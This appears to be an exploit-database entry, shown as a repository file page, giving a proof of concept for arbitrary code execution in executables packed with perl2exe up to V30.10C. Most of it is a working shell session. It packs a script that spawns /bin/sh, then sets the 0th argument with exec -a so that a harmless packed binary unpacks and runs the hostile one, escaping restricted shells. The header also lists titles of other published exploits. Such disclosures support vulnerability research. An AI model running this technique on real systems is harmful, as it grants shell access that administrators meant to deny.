c1bcfc6347
13 changes to exploits/shellcodes/ghdb TEM Opera Plus FM Family Transmitter 35.45 - Remote Code Execution TEM Opera Plus FM Family Transmitter 35.45 - XSRF Executables Created with perl2exe < V30.10C - Arbitrary Code Execution Atlassian Confluence Data Center and Server - Authentication Bypass (Metasploit) Automatic-Systems SOC FL9600 FastLine - Directory Transversal Automatic-Systems SOC FL9600 FastLine - The device contains hardcoded login and password for super admin dawa-pharma 1.0-2022 - Multiple-SQLi Moodle 4.3 - Insecure Direct Object Reference Moodle 4.3 - Reflected XSS SuperStoreFinder - Multiple Vulnerabilities Wordpress Plugin Canto < 3.0.5 - Remote File Inclusion (RFI) and Remote Code Execution (RCE) Zoo Management System 1.0 - Unauthenticated RCE
48 lines
No EOL
2.3 KiB
Text
48 lines
No EOL
2.3 KiB
Text
# Exploit Title: Executables Created with perl2exe <= V30.10C - Arbitrary Code Execution
|
|
# Date: 10/17/2023
|
|
# Exploit Author: decrazyo
|
|
# Vendor Homepage: https://www.indigostar.com/
|
|
# Software Link: https://www.indigostar.com/download/p2x-30.10-Linux-x64-5.30.1.tar.gz
|
|
# Version: <= V30.10C
|
|
# Tested on: Ubuntu 22.04
|
|
|
|
# Description:
|
|
perl2exe packs perl scripts into native executables.
|
|
Those executables use their 0th argument to locate a file to unpack and execute.
|
|
Because of that, such executables can be made to execute another executable that has been compiled with perl2exe by controlling the 0th argument.
|
|
That can be useful for breaking out of restricted shell environments.
|
|
|
|
# Proof and Concept:
|
|
user@testing:~/example$ ls
|
|
p2x-30.10-Linux-x64-5.30.1.tar.gz perl2exe-Linux-x64-5.30.1
|
|
user@testing:~/example$
|
|
user@testing:~/example$ # Create and pack a "safe" perl script to target with the attack.
|
|
user@testing:~/example$ echo 'print("I am completely safe\n");' > safe.pl
|
|
user@testing:~/example$ ./perl2exe-Linux-x64-5.30.1/perl2exe safe.pl
|
|
Perl2Exe V30.10C 2020-12-11 Copyright (c) 1997-2020 IndigoSTAR Software
|
|
...
|
|
Generating safe
|
|
user@testing:~/example$
|
|
user@testing:~/example$ # Check that the program executes as expected.
|
|
user@testing:~/example$ ./safe
|
|
I am completely safe
|
|
user@testing:~/example$
|
|
user@testing:~/example$ # Create and pack a "malicious" script that we want to execute.
|
|
user@testing:~/example$ echo 'print("j/k I am malicious AF\n");system("/bin/sh");' > malicious.pl
|
|
user@testing:~/example$ ./perl2exe-Linux-x64-5.30.1/perl2exe malicious.pl
|
|
Perl2Exe V30.10C 2020-12-11 Copyright (c) 1997-2020 IndigoSTAR Software
|
|
...
|
|
Generating malicious
|
|
user@testing:~/example$
|
|
user@testing:~/example$ # Our "malicious" file doesn't need to have execution permissions.
|
|
user@testing:~/example$ chmod -x malicious
|
|
user@testing:~/example$ ./malicious
|
|
-bash: ./malicious: Permission denied
|
|
user@testing:~/example$
|
|
user@testing:~/example$ # Execute the "safe" program with the name of the "malicious" program as the 0th argument.
|
|
user@testing:~/example$ # The "safe" program will unpack and execute the "malicious" program instead of itself.
|
|
user@testing:~/example$ bash -c 'exec -a malicious ./safe'
|
|
j/k I am malicious AF
|
|
$ pstree -s $$
|
|
systemd───sshd───sshd───sshd───bash───safe───sh───pstree
|
|
$ |